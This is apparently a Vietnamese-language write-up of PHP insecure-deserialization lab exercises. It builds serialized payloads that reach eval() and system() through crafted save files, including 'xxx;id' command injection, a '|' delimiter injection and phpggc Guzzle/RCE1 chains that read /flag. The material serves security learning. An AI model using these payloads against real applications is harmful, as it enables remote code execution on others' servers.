# php Deserialization👨‍🚒 **kiểm soát thuộc tính**🫢 **chúng ta có thể** 1. thay đổi thuộc tính 2. thay đổi class 3. lợi dụng magic method để rce - map 4,5 ## Game ### map2 - Chức năng save sẽ cho ta down 1 file về ![image](https://hackmd.io/_uploads/H17HbIKaA.png) - thay đổi thông số trước khi load lên ![image](https://hackmd.io/_uploads/BJV2-Lta0.png) ![image](https://hackmd.io/_uploads/ryt1zUtpA.png) --> đánh đc ròi ### map3 - đổi sát thương về 1 --> auto win ![image](https://hackmd.io/_uploads/r1rbQUFa0.png) - trong data còn 1 đốit tượng nữa ![image](https://hackmd.io/_uploads/SJShmLtTC.png) - đổi tên đối tượng **chú ý độ dài** ![image](https://hackmd.io/_uploads/SyMZEIFpR.png) ### map4 **ý tưởng:** nhờ vào magic method để tìm được secret - ta thấy trong đoạn code này có chứa hàm `eval` . 1 hàm có khả năng thực thi được các lệnh trong php ```php= class Calculator { public $expression; public function __construct($expr) { $this->expression = $expr; } public function run() { $result = eval($this->expression); return $result; } } ``` - vậy làm sao để đưa được code php vào đó ??? cũng như bài trên . Chúng ta thay đổi đối tượng trong file sav - tuy nhiên kết cấu của class này khác so với kết cấu của trainer . Điều này đồng nghĩa với việc ta phải thay đổi rất nhiều trong file sav (thay vì chỉ tên như map2) --> Vậy việc viết lại là khá khó khăn - điều này dẫn đến việc ta phải nhờ php in hộ ra như dòng code dưới đây ```php= <?php # step1 định nghĩa lại class class Calculate { public $expression; public function _contruct($expr){ $this->expression = $expr; } public function run(){ $result = eval($this->expression); return $result; } } #step2 tạo ra một đối tượng có thuộc tính là code php $calc = new Calculate("phpinfo();"); # step3 nhờ php tạo ra PAYLOAD tấn công echo serialize($calc); ?> ``` **lưu ý** : để đoạn này vào thư mục src ![image](https://hackmd.io/_uploads/BJGD6oYTA.png) --> vậy đã tạo ra 1 class có method là expression và nó có giá trị là php... --> sau khi có payload rồi ta upload lên và thực thi php 🤑 ![image](https://hackmd.io/_uploads/By5Pg3Fp0.png) ### map5 ![image](https://hackmd.io/_uploads/rJ8VG3KaC.png) hừm :> **đặc tính php** : luôn gọi hàm `destruct()` khi kết thúc chương trình dựa vào điều đó ta sẽ tìm đến hàm destruc xem có khai thác được gì không ```php= public function __destruct() { $this->conn->close(); } ``` đi tiếp đến close để xem ```php= public function close() { system("rm " . $this->filepath); } ``` **ý tưởng** : command injection --> cũng nhờ vào tính năng save game để thay đổi thuộc tính - $this->filepath cũng có thể coi là 1 untrusted data - làm sao để nối dài chuỗi dẫn đến command injection ![image](https://hackmd.io/_uploads/S11lU3KTR.png) ```php= <?php class Database{ public $conn; public function __construct($conn){ $this->conn = $conn; } } class Logger { public $filePath; public function __construct(){ $this->filePath = "xxx;id"; // RCE } } $conn = new Logger(); # tạo ra object $db = new Database($conn); echo serialize($db); ?> ``` ![image](https://hackmd.io/_uploads/ryLgONqp0.png) ![image](https://hackmd.io/_uploads/S1XIO4qTC.png) ![image](https://hackmd.io/_uploads/rkWl9pYT0.png) - khi destructed thì php cũng sẽ xóa đi database ; vì ta đặt class là database nên chắc chắn php sẽ chạy vào - php sẽ xóa database thật sau đó xóa database của ta ![image](https://hackmd.io/_uploads/H1wnYaFaR.png) vậy `$this->conn` chính là `Logger` là 1 class -> sẽ trỏ đến method close() -> đi vào method `close` như ta đã chỉnh thì sẽ gắn giá trị của `$filepath` là `xxx;id` --> COMMAND INJECTION 🌭 ![image](https://hackmd.io/_uploads/rkveF6Y6R.png) ## Workshop level 1 **ý tưởng**: lợi dụng hành vi của php kết hợp với chức năng unserialize (kiểm soát được đối tượng) để rce **đọc code** ```hp= public function __toString() { return "<td>{$this->name}</td><td>{$this->age}</td><td>{$this->get_point()}</td>"; } ``` ta thấy hàm string trên của class student **nghĩa là** nó đối xứ với class như 1 string ```php= echo <<<EOF <tr> <th scope="row">{$idx}</th>{$student} </tr> EOF; ``` mỗi student gắn với 1 index (0 -> ....) class router có hàm system ```php= <?php class Router { public $host; public function __construct($host) { $this->host = $host; } public function __toString() { return system("ping " . $this->host); } } ``` vậy nhờ vào chức năng của serialize để có thể gọi đến class Router -> từ đó kiểm soát được thuộc tính host và nối dài chuỗi trong hàm system -> RCE **kiểm soát thuộc tính**🤯 sau đây là payload để RCE ```php= <?php class Router { public $host; public function __construct($host) // kiểm soát host { $this->host = $host; } public function __toString() { return system("ping " . $this->host); // nối dài được òi } } $conn = new Router(" xxx;id;"); echo serialize($conn); ?> ``` dùng xampp để chạy localhost ![image](https://hackmd.io/_uploads/HJjwcsk0R.png) **khi thay đổi file sav phải chú ý đúng cú pháp của chương trình** ***ở đây cần để í idex*** ```sav= 0|O:6:"Router":1:{s:4:"host";s:8:" xxx;id;";}| ``` upload lại và rce ![image](https://hackmd.io/_uploads/HyU1oj1AA.png) ## work shop 2 ```php= foreach (glob("libs/*.php") as $filename) { // Không include file router.php if ($filename !== "libs/router.php") include($filename); } ``` -->loại bỏ không cho upload class router ![image](https://hackmd.io/_uploads/H1A5XveAC.png) - tìm thêm ![image](https://hackmd.io/_uploads/rkFLNve0R.png) 🤜 Router không thể chọn vậy chỉ có student **trong hàm student ta có** ```php= public function __toString() { return "<td>{$this->name}</td><td>{$this->age}</td><td>{$this->get_point()}</td>"; } ``` -> nó gọi đến cả thuộc tính và method **trong phần này ta sẽ lợi dụng method get_point()** - giờ phải đi tìm tiếp ![image](https://hackmd.io/_uploads/H1OuudMR0.png) - không tìm thấy hướng mới chuyển sang phương thức khác trong Student ```php! public function get_point() { if (isset($this->exam)) return $this->exam->get_result(); return "N/A"; } ``` -> tìm hàm `get_result()` -> thấy trong file ulis ```php= class Calculator { public $expression; public function __construct($expr) { $this->expression = $expr; } public function get_result() { $result = eval($this->expression); return $result; } } ``` -> có `eval()` . Vậy tìm cách lợi dụng nó để exec php **payload**👇 ```php= <?php class Student { public $name; public $age; public $exam; public function __construct($name, $age, $exam) { $this->name = $name; $this->age = $age; $this->exam= $exam; } public function __toString() { return "<td>{$this->name}</td><td>{$this->age}</td><td>{$this->get_point()}</td>"; } public function join($exam) { $this->exam = $exam; } public function test() { $this->exam->test(); } public function get_point() { if (isset($this->exam)) return $this->exam->get_result(); return "N/A"; } } class Calculator { public $expression; public function __construct($expr) { $this->expression = $expr; } public function get_result() { // Sử dụng eval() có thể nguy hiểm, hãy chắc chắn rằng biểu thức là an toàn $result = eval("return " . $this->expression . ";"); return $result; } } // Ví dụ sử dụng $con = new Calculator("phpinfo();"); $payload = new Student("Tung", 12, $con); // $payload->join($con); echo serialize($payload); ?> ``` **result** ```php! 0|O:7:"Student":3:{s:4:"name";s:4:"Tung";s:3:"age";i:12;s:4:"exam";O:10:"Calculator":1:{s:10:"expression";s:10:"phpinfo();";}} ``` **lưu ý**: phần cấu tạo của file .sav **giải thích**: mấu chốt là chuyền php vào hàm`eval()` thông qua biến `$expression` ```php= // như trên $code = 'echo file_get_contents("/flag");'; // Ví dụ sử dụng $con = new Calculator($code); $payload = new Student("Tung", 12, $con); // $payload->join($con); echo serialize($payload); ``` ```ter! 0|O:7:"Student":3:{s:4:"name";s:4:"Tung";s:3:"age";i:12;s:4:"exam";O:10:"Calculator":1:{s:10:"expression";s:32:"echo file_get_contents("/flag");";}} ``` **FLAG**🌞 ![image](https://hackmd.io/_uploads/r1lh9uzCC.png) ## Workshop 3 Ở level này không cho người dùng giữ file sav nữa . **vậy phải lừa server ở chế độ upload lên** ```php= case 'load': $data = file_get_contents("/usr/save_files/" . session_id()); $students_data = explode("|", $data); $students = array(); for ($idx = 0; $idx < count($students_data); $idx = $idx + 2) { $key = $students_data[$idx]; $value = $students_data[$idx + 1]; // Xử lý khi unserialize bị lỗi // Reference: https://stackoverflow.com/questions/12684871/how-to-catch-unserialize-exception $value = unserialize($value); $students[$key] = $value; // biến student gắn bắng value $_SESSION["students"] = $students; } ``` ta thấy ở chế độ load lên server dùng `explode()` để cắt ra từng giá trị của `$value` sau đó `unserialize($value)` **ý tưởng :** làm thế nào để kiểm soát được `$value`. Nếu kiểm soát được $value thì sẽ tạo được object có thuộc tính là payload tấn công của ta ```php= case 'save': // Lặp qua từng student và lưu xuống theo dạng KEY1|VALUE1|KEY2|VALUE2 ... $message = ""; foreach ($_SESSION["students"] as $key => $student) $message = $message . $key . "|" . serialize($student) . "|"; // Tải về thành file students.sav // Reference: https://stackoverflow.com/questions/13279801/how-can-i-download-a-string-to-the-browser-using-php-not-a-text-file file_put_contents("/usr/save_files/" . session_id(), $message); echo "Saved"; echo '<meta http-equiv="refresh" content="1;url='. $_SERVER['PHP_SELF']. '">'; die(); break; ``` ta thấy ở chế độ save các student được lưu dưới dạng KEY|VALUE|KEY|VALUE mà khồng hề có lớp fillter nào đối với kí tự `|` -> vậy lợi dùng nó để tạo ra VALUE ![image](https://hackmd.io/_uploads/r15Kdum0R.png) -> vậy ta đã có key = xxx value = 1 chuỗi đã serialize và có chưa payload -> khi thực hiện load lên server sẽ serialize đoạn chuỗi ta vừa gừi và PWN --> đã tạo ra 1 object có chưa payload ![image](https://hackmd.io/_uploads/HJewn_QR0.png) ## Workshop 4 Trong bài này ta không include các thư mục nên các class đã vô hiệu hóa **thay vào đó ta phải lợi dụng các hàm trong thư viện vendor** -> có công cụ để tấn công serialize cho nhờ vào việc lợi dụng các thư viện [ở đây](https://github.com/ambionics/phpggc) tải về nhờ dùng terminal của docker và vào phpggc để tìm ```terminal= root@f5385822372f:/var/www/html/phpggc# ./phpggc -l ``` ta xem trong phần docker để tìm thư viện có thể lợi dụng ![image](https://hackmd.io/_uploads/r1K0ZhX00.png) ![image](https://hackmd.io/_uploads/HJGdZnmAA.png) ```terminal= root@f5385822372f:/var/www/html/phpggc# ./phpggc Guzzle/RCE1 system 'cat /flag' > aa.sav ``` ![image](https://hackmd.io/_uploads/H1DBz370C.png) ***tool này sẽ giúp ta tạo ra payload tấn công*** **lưu ý :** không nên sao chép payload sẽ bị rơi kí tự null của php mà hãy ghi trực tiếp vào file `.sav` . Sau đó sửa theo **đúng cấu trúc** của chương trình ![image](https://hackmd.io/_uploads/B1KcG3XRR.png) **các thuộc tính riêng của đối tượng sẽ nằm trong NULL** ![image](https://hackmd.io/_uploads/H17zQ27RR.png)